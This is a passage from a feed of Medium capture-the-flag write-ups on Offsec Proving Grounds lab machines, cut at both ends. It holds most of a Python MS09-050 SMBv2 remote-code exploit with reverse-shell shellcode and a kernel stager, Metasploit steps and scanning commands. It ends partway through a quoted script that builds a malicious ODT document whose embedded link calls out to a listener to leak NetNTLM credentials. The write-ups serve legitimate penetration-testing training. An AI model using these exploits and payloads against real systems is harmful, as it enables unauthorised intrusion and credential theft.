b&quot;\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b&quot;<br>shell += b&quot;\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24&quot;<br>shell += b&quot;\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a&quot;<br>shell += b&quot;\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77&quot;<br>shell += b&quot;\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8&quot;<br>shell += b&quot;\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b&quot;<br>shell += b&quot;\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68&quot;<br>shell += b&quot;\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8&quot;<br>shell += b&quot;\x2d\xa5\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56&quot;<br>shell += b&quot;\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c&quot;<br>shell += b&quot;\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5&quot;<br>shell += b&quot;\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6&quot;<br>shell += b&quot;\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01&quot;<br>shell += b&quot;\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56&quot;<br>shell += b&quot;\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f&quot;<br>shell += b&quot;\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08&quot;<br>shell += b&quot;\x87\x1d\x60\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6&quot;<br>shell += b&quot;\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0&quot;<br>shell += b&quot;\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5&quot;<br><br>host = target, 445<br><br>buff =b&quot;\x00\x00\x03\x9e\xff\x53\x4d\x42&quot;<br>buff+=b&quot;\x72\x00\x00\x00\x00\x18\x53\xc8&quot;<br>buff+=b&quot;\x17\x02&quot; #high process ID<br>buff+=b&quot;\x00\xe9\x58\x01\x00\x00&quot;<br>buff+=b&quot;\x00\x00\x00\x00\x00\x00\x00\x00&quot;<br>buff+=b&quot;\x00\x00\xfe\xda\x00\x7b\x03\x02&quot;<br>buff+=b&quot;\x04\x0d\xdf\xff&quot;*25<br>buff+=b&quot;\x00\x02\x53\x4d&quot;<br>buff+=b&quot;\x42\x20\x32\x2e\x30\x30\x32\x00&quot;<br>buff+=b&quot;\x00\x00\x00\x00&quot;*37<br>buff+=b&quot;\xff\xff\xff\xff&quot;*2<br>buff+=b&quot;\x42\x42\x42\x42&quot;*7<br>buff+=b&quot;\xb4\xff\xff\x3f&quot; #magic index<br>buff+=b&quot;\x41\x41\x41\x41&quot;*6<br>buff+=b&quot;\x09\x0d\xd0\xff&quot; #return address<br><br>#stager_sysenter_hook from metasploit<br><br>buff+=b&quot;\xfc\xfa\xeb\x1e\x5e\x68\x76\x01&quot;<br>buff+=b&quot;\x00\x00\x59\x0f\x32\x89\x46\x5d&quot;<br>buff+=b&quot;\x8b\x7e\x61\x89\xf8\x0f\x30\xb9&quot;<br>buff+=b&quot;\x16\x02\x00\x00\xf3\xa4\xfb\xf4&quot;<br>buff+=b&quot;\xeb\xfd\xe8\xdd\xff\xff\xff\x6a&quot;<br>buff+=b&quot;\x00\x9c\x60\xe8\x00\x00\x00\x00&quot;<br>buff+=b&quot;\x58\x8b\x58\x54\x89\x5c\x24\x24&quot;<br>buff+=b&quot;\x81\xf9\xde\xc0\xad\xde\x75\x10&quot;<br>buff+=b&quot;\x68\x76\x01\x00\x00\x59\x89\xd8&quot;<br>buff+=b&quot;\x31\xd2\x0f\x30\x31\xc0\xeb\x31&quot;<br>buff+=b&quot;\x8b\x32\x0f\xb6\x1e\x66\x81\xfb&quot;<br>buff+=b&quot;\xc3\x00\x75\x25\x8b\x58\x5c\x8d&quot;<br>buff+=b&quot;\x5b\x69\x89\x1a\xb8\x01\x00\x00&quot;<br>buff+=b&quot;\x80\x0f\xa2\x81\xe2\x00\x00\x10&quot;<br>buff+=b&quot;\x00\x74\x0e\xba\x00\xff\x3f\xc0&quot;<br>buff+=b&quot;\x83\xc2\x04\x81\x22\xff\xff\xff&quot;<br>buff+=b&quot;\x7f\x61\x9d\xc3\xff\xff\xff\xff&quot;<br>buff+=b&quot;\x00\x04\xdf\xff\x00\x04\xfe\x7f&quot;<br>buff+=b&quot;\x60\x6a\x30\x58\x99\x64\x8b\x18&quot;<br>buff+=b&quot;\x39\x53\x0c\x74\x2b\x8b\x43\x10&quot;<br>buff+=b&quot;\x8b\x40\x3c\x83\xc0\x28\x8b\x08&quot;<br>buff+=b&quot;\x03\x48\x03\x81\xf9\x6c\x61\x73&quot;<br>buff+=b&quot;\x73\x75\x15\xe8\x07\x00\x00\x00&quot;<br>buff+=b&quot;\xe8\x0d\x00\x00\x00\xeb\x09\xb9&quot;<br>buff+=b&quot;\xde\xc0\xad\xde\x89\xe2\x0f\x34&quot;<br>buff+=b&quot;\x61\xc3\x81\xc4\x54\xf2\xff\xff&quot;<br><br>buff+=shell<br><br>s = socket()<br>s.connect(host)<br>s.send(buff)<br>s.close() <br>#Trigger the above injected code via authenticated process.<br>subprocess.call(&quot;echo &#39;1223456&#39; | rpcclient -U Administrator %s&quot;%(target), shell=True)# EDB-Note: Source ~ https://raw.githubusercontent.com/ohnozzy/Exploit/master/MS09_050.py</pre><p>Run it again and we get a better response. This process is nearly identical to a buffer overflow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*tHZ0ASmJPvfk8fDbAPeFWQ.png" /></figure><p>If we check our listener, we get an encouraging message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*erx8IReuLc7p5iZRrhYh3Q.png" /></figure><p>Unfortunately, the ‘whoami’ command does not provoke a response. SO CLOSE!</p><p>Well we know that if succeeded in getting a remote code execution but unfortunately we did not obtain a useful shell out of it and I was not able to replicate the results.</p><p>EDIT: I realized later that I used a Meterpreter shell code…and tried to catch the shell using the wrong listener. I might have connected otherwise :(</p><p>We are going to use Metasploit now even though we came so close. I believe that with some tweaking we could figure it out but now just as on the exam, time is a factor. My goal in writing these articles is to both practice and demonstrate the <em>process</em>. There are plenty of other authors that will quickly give you the answers.</p><p>So here goes the easy way:</p><pre>sudo msfconsole<br><br>search ms09-050<br><br>use 0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1nCiKfuos0rzGO9hl1jkPA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gsv5pz0UjgzS984wFPJFSA.png" /></figure><pre>Show options</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WVWVqsHTlHGf7NhywiMYhQ.png" /></figure><p>Set your LHOST to tun0 and your RHOSTS to the IP address given by Offsec.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QdCZQ88CovQgDy683JaKGA.png" /></figure><p>Then run for an easy connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eItobHL6xrNMGW_PcXwCcw.png" /></figure><p>Drop into a shell for the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*4jGsJoqI0w58EySIFWvfww.png" /></figure><p>Thanks for reading!</p><p>We can always make deepen our skill set by diving more deeply into the components of any penetration testing challenge. Out goal should be to understand and appreciate all the working components of an exploit, not just rush to get the flag.</p><p>I may return to take another stab at this exploit without Metasploit since I know now that it can be done. I <em>did</em> get RCE after all. I also tried adding a NOP sled to the shell code has some limited success with that but then realized I used a x64 payload when it needs to be 32-bit — sigh.</p><p>If anyone solves this before I get back to it, please pipe up in the comments. Maybe I should check Discord. I did find some chatter online where <a href="https://forum.hackthebox.com/t/ms09-050-python-40280-py-vs-metasploit-ms09-050-smb2-negotiate-func-index/3598/2">other folks encountered similar problems</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kryedutR-dbuEtkCMy8Iug.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e5098dd29793" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds Practice — Craft2]]></title>
            <link>https://medium.com/@Dpsypher/proving-grounds-practice-craft2-cf520e6fb34f?source=rss-60268ef8e972------2</link>
            <guid isPermaLink="false">https://medium.com/p/cf520e6fb34f</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Dpsypher]]></dc:creator>
            <pubDate>Tue, 16 Apr 2024 15:41:29 GMT</pubDate>
            <atom:updated>2024-04-16T15:41:29.270Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proving Grounds Practice — Craft2</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*pO9qs4Lyjp9y6h18QNK6fg.jpeg" /><figcaption><a href="https://www.freepik.com/">https://www.freepik.com/</a> — Mustofa</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*9ewtABl4UFC9gnT5jEVIqQ.png" /></figure><p>This is an Hard box on Offsec’s PG Practice and the community rates it as very hard.</p><p>Start with a Nmap scan:</p><pre>sudo nmap -Pn -n $IP -sC -sV -p- --open</pre><p>I start nearly every box this way because it quickly returns a wealth of information. Sudo as it defaults to the faster half-open SYN scan, then -Pn to ignore ping and assume it is up, -n to ignore DNS, the IP address, -sC for default scripts, -sV for version information, -p- to scan all ports, and MOST importantly the — open argument to apply scripts and version scans to found open ports<em> only</em>.</p><pre>┌──(kali㉿kali)-[~/offsec-labs/TEMP-publish]<br>└─$ sudo nmap -Pn -n $IP -sC -sV -p- --open          <br>[sudo] password for kali: <br>Nmap scan report for 192.168.152.188<br>Host is up (0.075s latency).<br>Not shown: 65531 filtered tcp ports (no-response)<br>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit<br>PORT      STATE SERVICE       VERSION<br>80/tcp    open  http          Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)<br>|_http-title: Craft<br>|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>445/tcp   open  microsoft-ds?<br>49666/tcp open  msrpc         Microsoft Windows RPC<br>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-time: <br>|   date: 2024-04-07T12:47:55<br>|_  start_date: N/A<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled but not required</pre><p>When the TCP scan finishes, immediately run a UDP scan.</p><pre>sudo nmap -Pn -n $IP -sU --top-ports=100 --reason</pre><p>Even if it comes up empty, scanning the UDP ports as well is best practice. When it hits, it’s usually a big deal, maybe Simple Network Management Protocol (SNMP) is available. Let this run while we review the TCP scan, we’ll come back to it <em>if it becomes important</em>. Note that I am only interested in the top 100 ports. UDP scans take a long time if we are not precise. Lastly we add — reason to understand why ports are returned as open, open|filtered, or closed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*avn8rD9Wi7iFvlC5ezB2zA.png" /></figure><p>What do we see with our initial TCP Nmap scan?</p><p>We see a Windows machine with an Apache Web Server and SMB file share and/or remote management open. The first thing we want to do is get a directory bruteforcer running against the web server!</p><pre>sudo gobuster dir -w &#39;/home/kali/Desktop/wordlists/dirbuster/directory-list-2.3-medium.txt&#39; -u http://$IP:80 -t 42 -b 400,401,403,404 --no-error</pre><p>I run it with 42 threads (-t 42) because it’s a good balance of speed and caution. If you go too fast, directories and files can be missed. Also, I’m not bug hunting, so I’m not going to dive deeply into fuzzing different 400 codes. They are just visual noise to me, so I eliminate them (-b 400,401,403,404). Lastly, I loathe seeing the ‘Time Exceeded’ errors so we eliminate them with — no-errors.</p><p>While we wait for that to finish we can look at SMB.</p><p>Ports 135,445 — SMB and/or Remote Management</p><p>When Remote Management is open on Windows we usually see port 5985 open as well, so since it is not there, this service may not be available on this machine. For SMB:</p><pre>enum4linux $IP<br><br>smbclient -N -L \\\\$IP\\<br><br>crackmapexec smb $IP --shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OOwB6QpMAHA8LfvWVfljKA.png" /><figcaption>All three of these failed but we got the OS version and build information.</figcaption></figure><p>That makes our path straight forward as now there is only one way to proceed — through the web server on port 80.</p><p>Port 80 — Web Server, Apache 2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JFaHugjqlkD63I42403HMw.png" /></figure><p>The uploads directory looks promising and we already know that the server is using PHP, what else can we discover? What is the framework? <a href="https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/">Wappalyzer</a> can tell us a lot!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*k4lEj07ar3TgZgXy1dZjDw.png" /><figcaption>PHP and javascript can be the most useful for our purposes</figcaption></figure><p>Let’s check back on our Gobuster scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_EgJF-D7RLNwXwK3XWgf8A.png" /></figure><p>This is a good start. It’s encouraging to see the uploads directory. We’ll come back to that in a minute. Now we should, as always, click all the buttons, follow all the links — walk the entire application with your explorer hat on. What does this application do? Is there anything weird about it? What do we notice? It always good to have Burp Suite open with intercept off to track your history and to be ready should you try some shenanigans.</p><p>The ‘Admin Login’ link responds with an Alert.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*F0p7SjqVExpk_TjFGCvLVg.png" /></figure><p>Email address reveals a Domain Name</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/1*dPLr7LyP2wGmF9_-GcjAjw.png" /></figure><p>Add this to your /etc/hosts file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*-N6J2Ig-um_fx6BsOUkkyA.png" /></figure><p>It appears like the company is hiring (we’ll have to suspend disbelief for this exercise ;~D). The most interesting section allows us to upload a file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*5MvLh-0v1_II8H1DaYsAgA.png" /></figure><p>Let’s try!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*DBFaWMbSpSPxDnaXNxH2wA.png" /><figcaption>Create a simple document</figcaption></figure><p>Upload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BiojcEhRglvCKbQfYvtsOA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*Fb-hgCIG2LImIEqsnnmY_w.png" /></figure><p>Two items of note here. We need to change the document type to ODT and I missed the upload.php endpoint in our Gobuster scan because I did not search for file extensions. Fortunately we can rectify both. We should re-scan with Gobuster because we may have missed other endpoints. We search for these by adding -x php,txt to our previous command. We might as well search for text documents while we are at it.</p><pre>sudo gobuster dir -w &#39;/home/kali/Desktop/wordlists/dirbuster/directory-list-2.3-medium.txt&#39; -u http://craft.offsec -t 42 -b 400,401,403,404 --no-error -x php,txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vm_tdH-Dm5aXYAWdYGWNxw.png" /></figure><p>Okay so we revealed index.php but we probably knew that already. It was worth a look.</p><p>Let’s change our text file to an ODT and try that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*EepRRUHadfSYA18888XS0w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cAV4pvwsseTXAJE91DBwZg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pPuaJXFz06aUy73UAA4ZDg.png" /></figure><p>Our upload is successful and we get a message that warns us not to try to use macros to provoke a reverse shell callback to our machine. This is referring to the previous box Craft which <a href="https://medium.com/@Dpsypher/proving-grounds-practice-craft-4a62baf140cc">I already covered.</a></p><p>Time to explore the /uploads directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*eKD7caRNfZ1-mraqrlT4vA.png" /></figure><p>Interestingly, our uploaded file does not appear here. There must be a script which removes them. We’ll have to remember that when we are on the machine because if it is run by the administrator, we may be able to use it for escalation.</p><p>So what do we have now? Time to reflect and review. What else can we try? This is why this box is considered hard. We haven’t searched for known public software/version vulnerabilities. Let’s make a list.</p><pre>Apache 2.4.48<br>OpenSSL 1.1.1k <br>PHP 8.0.7<br>Bootstrap 5.0.2<br>jsDelivr<br>Windows 10.0 Build 17763 x64<br>ODT</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jVLxeB96NWjCSVBO_DsdUg.png" /><figcaption>Bingo!</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MP1I0EXNB3PWBuBacthhdQ.png" /></figure><p>Let’s look at it in <a href="https://www.sublimetext.com/">Sublime text.</a></p><pre>#!/usr/bin/python<br><br># Exploit Title: Malicious ODF File Creator<br># Date: 1st May 2018<br># Exploit Author: Richard Davy<br># Vendor Homepage: https://www.libreoffice.org/<br># Software Link: https://www.libreoffice.org/<br># Version: LibreOffice 6.0.3, OpenOffice 4.1.5<br># Tested on: Windows 10<br>#<br>#Quick script/POC code to create a malicious ODF which can be used to leak NetNTLM credentials<br>#Usage - Setup responder or similar create a malicious file and point to listener.<br>#Works against LibreOffice 6.03 and OpenOffice 4.1.5<br>#<br>#<br><br>try:<br> from ezodf import newdoc<br>except ImportError:<br> print (&#39;ezodf appears to be missing - try: pip install ezodf&#39;)<br> exit(1)<br><br>import os<br>import zipfile<br>import base64<br><br>print &quot;&quot;&quot;<br>    ____            __      ____  ____  ______<br>   / __ )____ _____/ /     / __ \/ __ \/ ____/<br>  / __  / __ `/ __  /_____/ / / / / / / /_<br> / /_/ / /_/ / /_/ /_____/ /_/ / /_/ / __/<br>/_____/\__,_/\__,_/      \____/_____/_/<br><br>&quot;&quot;&quot;<br>print &quot;Create a malicious ODF document help leak NetNTLM Creds&quot;<br>print &quot;\nBy Richard Davy &quot;<br>print &quot;@rd_pentest&quot;<br>print &quot;www.secureyourit.co.uk\n&quot;<br><br>#Create a blank ODT file<br>namef = &quot;temp.odt&quot;<br>odt = newdoc(doctype=&#39;odt&#39;, filename=namef)<br>odt.save()<br><br>#Create our modified content.xml file<br>contentxml1=&quot;PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjxvZmZpY2U6ZG9jdW1lbnQtY29udGVudCB4bWxuczpvZmZpY2U9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6b2ZmaWNlOjEuMCIgeG1sbnM6c3R5bGU9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6c3R5bGU6MS4wIiB4bWxuczp0ZXh0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnRleHQ6MS4wIiB4bWxuczp0YWJsZT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczp0YWJsZToxLjAiIHhtbG5zOmRyYXc9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6ZHJhd2luZzoxLjAiIHhtbG5zOmZvPSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnhzbC1mby1jb21wYXRpYmxlOjEuMCIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6bWV0YT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczptZXRhOjEuMCIgeG1sbnM6bnVtYmVyPSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOmRhdGFzdHlsZToxLjAiIHhtbG5zOnN2Zz0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpzdmctY29tcGF0aWJsZToxLjAiIHhtbG5zOmNoYXJ0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOmNoYXJ0OjEuMCIgeG1sbnM6ZHIzZD0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpkcjNkOjEuMCIgeG1sbnM6bWF0aD0iaHR0cDovL3d3dy53My5vcmcvMTk5OC9NYXRoL01hdGhNTCIgeG1sbnM6Zm9ybT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpmb3JtOjEuMCIgeG1sbnM6c2NyaXB0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnNjcmlwdDoxLjAiIHhtbG5zOm9vbz0iaHR0cDovL29wZW5vZmZpY2Uub3JnLzIwMDQvb2ZmaWNlIiB4bWxuczpvb293PSJodHRwOi8vb3Blbm9mZmljZS5vcmcvMjAwNC93cml0ZXIiIHhtbG5zOm9vb2M9Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA0L2NhbGMiIHhtbG5zOmRvbT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS94bWwtZXZlbnRzIiB4bWxuczp4Zm9ybXM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDIveGZvcm1zIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczpycHQ9Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA1L3JlcG9ydCIgeG1sbnM6b2Y9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6b2Y6MS4yIiB4bWxuczp4aHRtbD0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCIgeG1sbnM6Z3JkZGw9Imh0dHA6Ly93d3cudzMub3JnLzIwMDMvZy9kYXRhLXZpZXcjIiB4bWxuczpvZmZpY2Vvb289Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA5L29mZmljZSIgeG1sbnM6dGFibGVvb289Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA5L3RhYmxlIiB4bWxuczpkcmF3b29vPSJodHRwOi8vb3Blbm9mZmljZS5vcmcvMjAxMC9kcmF3IiB4bWxuczpjYWxjZXh0PSJ1cm46b3JnOmRvY3VtZW50Zm91bmRhdGlvbjpuYW1lczpleHBlcmltZW50YWw6Y2FsYzp4bWxuczpjYWxjZXh0OjEuMCIgeG1sbnM6bG9leHQ9InVybjpvcmc6ZG9jdW1lbnRmb3VuZGF0aW9uOm5hbWVzOmV4cGVyaW1lbnRhbDpvZmZpY2U6eG1sbnM6bG9leHQ6MS4wIiB4bWxuczpmaWVsZD0idXJuOm9wZW5vZmZpY2U6bmFtZXM6ZXhwZXJpbWVudGFsOm9vby1tcy1pbnRlcm9wOnhtbG5zOmZpZWxkOjEuMCIgeG1sbnM6Zm9ybXg9InVybjpvcGVub2ZmaWNlOm5hbWVzOmV4cGVyaW1lbnRhbDpvb3htbC1vZGYtaW50ZXJvcDp4bWxuczpmb3JtOjEuMCIgeG1sbnM6Y3NzM3Q9Imh0dHA6Ly93d3cudzMub3JnL1RSL2NzczMtdGV4dC8iIG9mZmljZTp2ZXJzaW9uPSIxLjIiPjxvZmZpY2U6c2NyaXB0cy8+PG9mZmljZTpmb250LWZhY2UtZGVjbHM+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMdWNpZGEgU2FuczEiIHN2Zzpmb250LWZhbWlseT0iJmFwb3M7THVjaWRhIFNhbnMmYXBvczsiIHN0eWxlOmZvbnQtZmFtaWx5LWdlbmVyaWM9InN3aXNzIi8+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMaWJlcmF0aW9uIFNlcmlmIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO0xpYmVyYXRpb24gU2VyaWYmYXBvczsiIHN0eWxlOmZvbnQtZmFtaWx5LWdlbmVyaWM9InJvbWFuIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iTGliZXJhdGlvbiBTYW5zIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO0xpYmVyYXRpb24gU2FucyZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3dpc3MiIHN0eWxlOmZvbnQtcGl0Y2g9InZhcmlhYmxlIi8+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMdWNpZGEgU2FucyIgc3ZnOmZvbnQtZmFtaWx5PSImYXBvcztMdWNpZGEgU2FucyZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iTWljcm9zb2Z0IFlhSGVpIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO01pY3Jvc29mdCBZYUhlaSZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iU2ltU3VuIiBzdmc6Zm9udC1mYW1pbHk9IlNpbVN1biIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjwvb2ZmaWNlOmZvbnQtZmFjZS1kZWNscz48b2ZmaWNlOmF1dG9tYXRpYy1zdHlsZXM+PHN0eWxlOnN0eWxlIHN0eWxlOm5hbWU9ImZyMSIgc3R5bGU6ZmFtaWx5PSJncmFwaGljIiBzdHlsZTpwYXJlbnQtc3R5bGUtbmFtZT0iT0xFIj48c3R5bGU6Z3JhcGhpYy1wcm9wZXJ0aWVzIHN0eWxlOmhvcml6b250YWwtcG9zPSJjZW50ZXIiIHN0eWxlOmhvcml6b250YWwtcmVsPSJwYXJhZ3JhcGgiIGRyYXc6b2xlLWRyYXctYXNwZWN0PSIxIi8+PC9zdHlsZTpzdHlsZT48L29mZmljZTphdXRvbWF0aWMtc3R5bGVzPjxvZmZpY2U6Ym9keT48b2ZmaWNlOnRleHQ+PHRleHQ6c2VxdWVuY2UtZGVjbHM+PHRleHQ6c2VxdWVuY2UtZGVjbCB0ZXh0OmRpc3BsYXktb3V0bGluZS1sZXZlbD0iMCIgdGV4dDpuYW1lPSJJbGx1c3RyYXRpb24iLz48dGV4dDpzZXF1ZW5jZS1kZWNsIHRleHQ6ZGlzcGxheS1vdXRsaW5lLWxldmVsPSIwIiB0ZXh0Om5hbWU9IlRhYmxlIi8+PHRleHQ6c2VxdWVuY2UtZGVjbCB0ZXh0OmRpc3BsYXktb3V0bGluZS1sZXZlbD0iMCIgdGV4dDpuYW1lPSJUZXh0Ii8+PHRleHQ6c2VxdWVuY2UtZGVjbCB0ZXh0OmRpc3BsYXktb3V0bGluZS1sZXZlbD0iMCIgdGV4dDpuYW1lPSJEcmF3aW5nIi8+PC90ZXh0OnNlcXVlbmNlLWRlY2xzPjx0ZXh0OnAgdGV4dDpzdHlsZS1uYW1lPSJTdGFuZGFyZCIvPjx0ZXh0OnAgdGV4dDpzdHlsZS1uYW1lPSJTdGFuZGFyZCI+PGRyYXc6ZnJhbWUgZHJhdzpzdHlsZS1uYW1lPSJmcjEiIGRyYXc6bmFtZT0iT2JqZWN0MSIgdGV4dDphbmNob3ItdHlwZT0icGFyYWdyYXBoIiBzdmc6d2lkdGg9IjE0LjEwMWNtIiBzdmc6aGVpZ2h0PSI5Ljk5OWNtIiBkcmF3OnotaW5kZXg9IjAiPjxkcmF3Om9iamVjdCB4bGluazpocmVmPSJmaWxlOi8v&quot;<br>contentxml2=raw_input(&quot;\nPlease enter IP of listener: &quot;)<br>contentxml3=&quot;L3Rlc3QuanBnIiB4bGluazp0eXBlPSJzaW1wbGUiIHhsaW5rOnNob3c9ImVtYmVkIiB4bGluazphY3R1YXRlPSJvbkxvYWQiLz48ZHJhdzppbWFnZSB4bGluazpocmVmPSIuL09iamVjdFJlcGxhY2VtZW50cy9PYmplY3QgMSIgeGxpbms6dHlwZT0ic2ltcGxlIiB4bGluazpzaG93PSJlbWJlZCIgeGxpbms6YWN0dWF0ZT0ib25Mb2FkIi8+PC9kcmF3OmZyYW1lPjwvdGV4dDpwPjwvb2ZmaWNlOnRleHQ+PC9vZmZpY2U6Ym9keT48L29mZmljZTpkb2N1bWVudC1jb250ZW50Pg==&quot;<br><br>fileout=base64.b64decode(contentxml1)+contentxml2+base64.b64decode(contentxml3)<br><br>text_file = open(&quot;content.xml&quot;, &quot;w&quot;)<br>text_file.write(fileout)<br>text_file.close()<br><br>#Create a copy of the blank odt file without the content.xml file in (odt files are 